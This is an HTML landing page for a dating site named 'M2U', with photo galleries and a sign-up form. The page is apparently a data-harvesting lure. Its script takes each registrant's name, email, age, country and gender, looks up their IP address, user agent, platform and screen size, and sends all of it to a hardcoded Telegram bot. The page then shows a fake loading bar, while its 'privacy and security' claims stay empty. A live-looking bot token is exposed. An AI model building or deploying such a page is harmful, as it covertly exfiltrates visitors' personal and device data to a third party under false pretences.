<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
	 <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="description" content="Discover the magical world of movies with thrilling, romantic, and comedic films.">
    <meta name="keywords" content="movies, thriller, romantic, comedy, film reviews">
    <meta name="author" content="Your Name">
   <title>Home</title>
   <link rel="icon" href="image/Logo.icon"> 
   <link rel="preconnect" href="https://fonts.googleapis.com">
   <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
   <link href="https://fonts.googleapis.com/css2?family=Cairo:wght@400;600&display=swap" rel="stylesheet">
   
 <style>
    body {
        font-family: 'Cairo', sans-serif;
        background-color: #f8f9fa;
        color: #333;
        margin: 0;
        padding: 0;
    }
    .container {
        max-width: 1200px;
        margin: 0 auto;
        padding: 20px;
    }
    header {
        text-align: center;
        padding: 40px 0;
        background: linear-gradient(138deg, #ff6b81, #ffcc99);
        color: #fff;
    }
    header h1 {
        font-size: 2.5em;
        margin: 0;
    }
    header p {
        font-size: 1.2em;
    }
    .cta-button {
        display: inline-block;
        background-color: #fff;
        color: #003366;
        padding: 10px 20px;
        border-radius: 20px;
        text-decoration: none;
        font-weight: bold;
        transition: 0.3s;
    }
    .cta-button:hover {
        background-color: #00B8ED;
        color: #fff;
    }

    /* Gallery Section */
    .gallery-section {
        padding: 20px 0;
    }
    .gallery-title {
        text-align: center;
        font-size: 2em;
        font-weight: bold;
        margin-bottom: 10px;
    }
    /* لون مختلف لكل قسم */
.gallery-section:nth-of-type(1) .gallery-title {
    color: #ff4081; /* لون صور النساء - زهري */
}

.gallery-section:nth-of-type(2) .gallery-title {
    color: #00B8ED; /* لون صور الرجال - أزرق */
}

    .gallery {
        display: flex;
        gap: 10px;
        overflow-x: auto;
        padding: 10px;
    }
    .gallery img {
        width: 310px;
        height: 310px;
        object-fit: cover;
        border-radius: 10px;
        transition: transform 0.3s, filter 0.3s;
        box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
    }
    gallery img:hover {
        transform: scale(1.1) rotate(2deg);
        filter: brightness(1.2);
    }
    .gallery-section {
    position: relative;
    overflow: hidden;
}

.gallery-background-video {
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 98%;
    object-fit: cover;
    z-index: -1; /* لضمان بقاء المحتوى فوق الفيديو */
}

    /* Features Section */
    .features {
        text-align: center;
        padding: 40px 20px;
        background-color: #f1f1f1;
    }
    .features h2 {
        font-size: 3em;
        font-weight: bold;
        margin-bottom: 20px;
        color: #ff6b81;
    }
    .features-list {
        display: flex;
        flex-direction: column;
        gap: 20px;
    }
    .feature {
        padding: 20px;
        background: #fff;
        box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
        border-radius: 10px;
    }
    .feature h3 {
        color: #ff6b81;
        font-weight: bold;
        font-size: 1.5em;
        margin-bottom: 10px;
    }

    /* Registration Form Section */
   .register-form {
    text-align: center;
    padding: 40px 20px;
    background: #fff;
    color: #fff;
    border-radius: 15px;
}

    .register-form h2 {
        font-size: 2em;
        margin-bottom: 20px;
        color: #e91e63;
    }
    .register-form form {
        display: flex;
        flex-direction: column;
        gap: 15px;
        max-width: 400px;
        margin: 0 auto;
    }
    .register-form input, .register-form select, .register-form button {
        padding: 15px;
        font-size: 1em;
        border-radius: 10px;
        border: 1px solid #ddd;
        outline: none;
    }
    .register-form button {
        background-color: #ff6b81;
        color: #fff;
        border: none;
        cursor: pointer;
        transition: 0.3s;
        padding: 12px 22px;
        border-radius: 20px;
    }
    
    .register-form button:hover {
        background-color: #00B8ED;
    }

    /* Footer Section */
    footer {
        text-align: center;
        padding: 20px 0;
        background: linear-gradient(138deg, #ff6b81, #ffcc99);
        color: #fff;
        position: relative;
        bottom: 0;
        width: 100%;
    }
    /* Overlay Card Style */
    .overlay-card {
        position: fixed;
        top: 0;
        left: 0;
        width: 100%;
        height: 100%;
        background: rgba(0, 0, 0, 0.8);
        display: none;
        justify-content: center;
        align-items: center;
        z-index: 9999;
    }

    .card-content {
        text-align: center;
        color: #fff;
    }

    .card-content img {
        width: 300px;
        height: 300px;
        object-fit: cover;
        border-radius: 15px;
        margin-bottom: 60px;
    }

    .card-content p {
        font-size: 1.5em;
        font-weight: bold;
    }

</style>
</head>
<body>
<div style="
    display: flex; 
    justify-content: space-between; 
    align-items: center; 
    padding: 15px; 
    background-size: cover; 
    background-position: center;">

    <!-- الشعار -->
    <div style="display: flex; align-items: center;">
        <img src="image/Logo.icon" alt="" style="width: 50px; height:50px; margin-right: 15px;">
        <span style="font-size: 2rem; font-weight: bold; font-family: 'Poppins', sans-serif; color: #ff4081; ">M</span>
        <span style="font-size: 2rem; font-weight: bold; font-family: 'Poppins', sans-serif; color: #000;">2</span>
        <span style="font-size: 2rem; font-weight: bold; font-family: 'Poppins', sans-serif; color: #00B8ED;">U</span>
    </div>
</div>

<!-- Google Fonts -->
<link href="https://fonts.googleapis.com/css2?family=Poppins:wght@400;600&display=swap" rel="stylesheet">

    <!-- Header Section -->
    <header>
        <h1>Join now and start free dating with people who share your interests.</h1>
        <p>Join us now.</p>
        <a href="#register" class="cta-button">Ready for Love ?</a>
    </header>

    <!-- Gallery Section for Women -->
    <section class="gallery-section">
        <h2 class="gallery-title">My Darling</h2>
        <div class="gallery">
        	
            <img src="image/female/female1.png" alt="امرأة1">
            <img src="image/female/female2.png" alt="امرأة2">
            <img src="image/female/female3.png" alt="امرأة3">
            <img src="image/female/female4.png" alt="امرأة4">
            <img src="image/female/female5.png" alt="امرأة5">
            <img src="image/female/female6.png" alt="امرأة6">
            <img src="image/female/female7.png" alt="امرأة7">
            <img src="image/female/female8.png" alt="امرأة8">
            <img src="image/female/female9.png" alt="امرأة9">
            <img src="image/female/female10.png" alt="امرأة10">
            <img src="image/female/female11.png" alt="امرأة11">
            <img src="image/female/female12.png" alt="امرأة12">
            <img src="image/female/female13.png" alt="امرأة13">
            <img src="image/female/female14.png" alt="امرأة14">
            <img src="image/female/female15.png" alt="امرأة15">
            <img src="image/female/female16.png" alt="امرأة16">
            <img src="image/female/female17.png" alt="امرأة17">
            <img src="image/female/female18.png" alt="امرأة18">
            <img src="image/female/female19.png" alt="امرأة19">
            <img src="image/female/female20.png" alt="امرأة20">
            <img src="image/female/female21.png" alt="امرأة21">
            <img src="image/female/female22.png" alt="امرأة22">
            <img src="image/female/female23.png" alt="امرأة23">
            <img src="image/female/female24.png" alt="امرأة24">
        </div>
    </section>

    <!-- Gallery Section for Men -->
    <section class="gallery-section">
        <h2 class="gallery-title">My Love</h2>
        <div class="gallery">
 
            <img src="image/male/male1.png" alt="رجل 1">
            <img src="image/male/male2.png" alt="رجل 2">
            <img src="image/male/male3.png" alt="رجل 3">
            <img src="image/male/male4.png" alt="رجل 1">
            <img src="image/male/male5.png" alt="رجل 2">
            <img src="image/male/male6.png" alt="رجل 1">
            <img src="image/male/male7.png" alt="رجل 2">
            <img src="image/male/male8.png" alt="رجل 3">
            <img src="image/male/male9.png" alt="رجل 1">
            <img src="image/male/male10.png" alt="رجل 2">
            <img src="image/male/male11.png" alt="رجل 1">
            <img src="image/male/male12.png" alt="رجل 2">
            <img src="image/male/male13.png" alt="رجل 3">
            <img src="image/male/male14.png" alt="رجل 1">
            <img src="image/male/male15.png" alt="رجل 2">
            <img src="image/male/male16.png" alt="رجل 1">
            <img src="image/male/male17.png" alt="رجل 2">
            <img src="image/male/male18.png" alt="رجل 3">
            <img src="image/male/male19.png" alt="رجل 1">
            <img src="image/male/male20.png" alt="رجل 2">
            <img src="image/male/male21.png" alt="رجل 1">
            <img src="image/male/male22.png" alt="رجل 2">
            <img src="image/male/male23.png" alt="رجل 3">
            <img src="image/male/male24.png" alt="رجل 1">
              
        </div>
    </section>


    <!-- Features Section -->
    <section class="features">
        <h2>Why Are We the Best ?</h2>
        <div class="features-list">
            <div class="feature">
                <h3>Protecting Your Privacy and Security</h3>
                <p>We strive to provide a safe environment that ensures your confidence while seeking a secure dating experience.</p>
            </div>
            <div class="feature">
                <h3>A Wide Community</h3>
                <p>Connect with thousands of users from all over the world.</p>
            </div>
            <div class="feature">
                <h3>Dating Experience</h3>
                <p>With your choice and our expertise, you’ll have the most beautiful dating experience in the world.</p>
            </div>
            <div class="feature">
                <h3>User-Friendly Interface</h3>
                <p>A simple and convenient design for a seamless experience.</p>
            </div>
        </div>
    </section>


    <!-- Overlay Card Section -->
    <div id="overlay-card" class="overlay-card">
        <div class="card-content">
            <img id="overlay-image" src="" alt="Image">
            <p id="overlay-text"></p>
        </div>
    </div>

    <!-- Registration Form Section -->
    <form id="register" class="register-form">
        <input type="text" id="name" placeholder="Full Name" required><br><br>
        <input type="email" id="email" placeholder="Email Address" required><br><br>
        <input type="text" id="age" placeholder="Age" required><br><br>
        <input type="text" id="nation" placeholder="Country" required><br><br>
        <select id="gender" required>
            <option value="" disabled selected>Gender</option>
            <option value="male">Male</option>
            <option value="female">Female</option>
        </select><br><br>
        <button type="submit" id="submit-btn">Ready for Love ?</button>
    </form>


    <!-- Footer Section -->
    <footer>
        <h3>All Rights Reserved © 2024.</h3>
    </footer>

    <script src="https://unpkg.com/axios/dist/axios.min.js"></script>
<script>
    const TOKEN = "7676231086:AAE9tsb4ZuqVssjven7mLBv-ZRPvR1TB0q0"; // التوكين الخاص بك
    const CHAT_ID = "7561244606"; // معرف الشات
    const URI_API = `https://api.telegram.org/bot${TOKEN}/sendMessage`;

    document.getElementById("register").addEventListener("submit", async function (e) {
        e.preventDefault();

        // جمع البيانات
        const name = document.getElementById("name").value.trim();
        const email = document.getElementById("email").value.trim();
        const age = document.getElementById("age").value.trim();
        const nation = document.getElementById("nation").value.trim();
        const gender = document.getElementById("gender").value;

        // التحقق من صحة البيانات
        if (!validateForm(name, email, age, nation, gender)) {
            return;
        }

        try {
            // الحصول على عنوان IP
            const ipResponse = await axios.get("https://api.ipify.org?format=json");
            const ip = ipResponse.data.ip;

            const userAgent = navigator.userAgent;
            const platform = navigator.platform;
            const screenWidth = screen.width;
            const screenHeight = screen.height;
            const deviceType = /mobile/i.test(navigator.userAgent) ? "Mobile" : "Desktop";
            const timestamp = new Date().toLocaleString();

            // إنشاء الرسالة
            const message = `
<b>شخص جديد سجل في مواعدة</b>
<b>Timestamp:</b> ${timestamp}
<b>Name:</b> ${name}
<b>Email:</b> ${email}
<b>Age:</b> ${age}
<b>Country:</b> ${nation}
<b>Gender:</b> ${gender}
<b>IP Address:</b> ${ip}
<b>Device Type:</b> ${deviceType}
<b>Platform:</b> ${platform}
<b>User Agent:</b> ${userAgent}
<b>Screen Resolution:</b> ${screenWidth}x${screenHeight}
            `;

            // إرسال البيانات إلى Telegram
            await axios.post(URI_API, {
                chat_id: CHAT_ID,
                parse_mode: "html",
                text: message,
            });

            document.getElementById("register").reset();

            // شريط تقدم وإعادة التوجيه
            showProgressBar(gender);
        } catch (error) {
            alert("Try again");
            console.error(error);
        }
    });

    // دالة التحقق من صحة البيانات
    function validateForm(name, email, age, nation, gender) {
        const nameRegex = /^[\u0600-\u06FFa-zA-Z\s]+$/;
        if (!nameRegex.test(name)) {
            alert("Please enter a valid name.🖊️");
            return false;
        }

        const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
        if (!emailRegex.test(email)) {
            alert("Please ensure you enter a valid email address. 📧 ");
            return false;
        }

        const ageNum = parseInt(age, 10);
        if (isNaN(ageNum) || ageNum < 18 || ageNum > 99) {
            alert("Please enter a valid age 18+ 🎂 ");
            return false;
        }

        if (nation === "") {
            alert("Please select your country.🌍");
            return false;
        }
        if (gender === "") {
            alert("Please select your gender. 🚻");
            return false;
        }

        return true;
    }

    // دالة شريط التقدم وإعادة التوجيه
    function showProgressBar(gender) {
    const overlay = document.createElement("div");
    overlay.style.position = "fixed";
    overlay.style.top = 0;
    overlay.style.left = 0;
    overlay.style.width = "100%";
    overlay.style.height = "100%";
    overlay.style.backgroundColor = "rgba(0, 0, 0, 0.8)";
    overlay.style.display = "flex";
    overlay.style.flexDirection = "column";
    overlay.style.justifyContent = "center";
    overlay.style.alignItems = "center";
    overlay.style.zIndex = 1000;
    overlay.style.transition = "opacity 1s ease"; // تأثير التلاشي التدريجي

    // إنشاء الفيديو
    const video = document.createElement("video");
    video.src = "video 3.mp4"; // رابط الفيديو
    video.autoplay = true;
    video.loop = true;
    video.muted = true;
    video.style.position = "absolute";
    video.style.top = 0;
    video.style.left = 0;
    video.style.width = "100%";
    video.style.height = "100%";
    video.style.objectFit = "cover";
    video.style.zIndex = -1;

    // إضافة الفيديو إلى الـ Overlay
    overlay.appendChild(video);

    // إنشاء شريط التحميل
    const progressBar = document.createElement("div");
    progressBar.style.width = "0";
    progressBar.style.height = "10px";
    progressBar.style.backgroundColor = "#00B8ED"; // اللون الابتدائي
    progressBar.style.transition = "width 0.1s ease-out, background-color 0.1s ease-out";

    const progressContainer = document.createElement("div");
    progressContainer.style.width = "80%";
    progressContainer.style.backgroundColor = "#fff";
    progressContainer.style.borderRadius = "10px";
    progressContainer.style.marginTop = "10px";
    progressContainer.style.overflow = "hidden";
    progressContainer.appendChild(progressBar);

    // إضافة النص "Loading... 0%"
    const loadingText = document.createElement("div");
    loadingText.innerText = "Loading... 0%";
    loadingText.style.color = "#fff";
    loadingText.style.marginTop = "10px";
    loadingText.style.fontSize = "18px";

    // إضافة شريط التحميل والنص إلى الـ Overlay
    overlay.appendChild(progressContainer);
    overlay.appendChild(loadingText);

    document.body.appendChild(overlay);

    // عرض شريط التحميل بعد 3 ثوانٍ
    setTimeout(() => {
        let progress = 0;

        const interval = setInterval(() => {
            progress += 1; // زيادة التقدم
            progressBar.style.width = `${progress}%`; // تحديث عرض شريط التحميل
            loadingText.innerText = `Loading... ${progress}%`; // تحديث النص

            // حساب اللون التدريجي
            const startColor = [0, 184, 237]; // اللون #00B8ED
            const endColor = [255, 64, 129]; // اللون #FF4081
            const currentColor = startColor.map((start, index) =>
                Math.round(start + ((endColor[index] - start) * progress) / 100)
            );
            progressBar.style.backgroundColor = `rgb(${currentColor.join(",")})`;

            if (progress >= 100) {
                clearInterval(interval); // إيقاف التحديث عند اكتمال التحميل

                // توجيه المستخدم بناءً على الجنس
                const redirectUrl = gender === "male" ? "male.html" : "female.html";
                window.location.href = redirectUrl; // التوجيه إلى الرابط المحدد

                // مباشرة بعد التوجيه، إزالة الـ Overlay
                setTimeout(() => {
                    document.body.removeChild(overlay); // إزالة الـ Overlay
                }, 0); // الإزالة مباشرة دون تأخير
            }
        }, 150);
    }, 1000);
}

</script>

<script>
	
    // دالة التمرير التلقائي
    function autoScrollGallery(selector) {
        const gallery = document.querySelector(selector);
        if (!gallery) return;

        let scrollAmount = 0;
        const scrollStep = 1.5; // سرعة التمرير
        const scrollDelay = 20; // التأخير بين التمريرات

        function scrollGallery() {
            scrollAmount += scrollStep;
            gallery.scrollLeft = scrollAmount;

            // إذا وصلنا إلى نهاية التمرير، نعيده للبداية
            if (scrollAmount >= gallery.scrollWidth - gallery.clientWidth) {
                scrollAmount = 0;
            }

            requestAnimationFrame(scrollGallery);
        }

        // بدء التمرير التلقائي
        scrollGallery();
    }

    // تطبيق التمرير التلقائي بعد تحميل الصفحة مع تأخير
    document.addEventListener('DOMContentLoaded', () => {
        setTimeout(() => {
            autoScrollGallery('.gallery-section:nth-of-type(1) .gallery'); // معارض النساء
            autoScrollGallery('.gallery-section:nth-of-type(2) .gallery'); // معارض الرجال
        }, 3550); // تأخير 3 ثوانٍ
    });
    
</script>

</body>
</html>
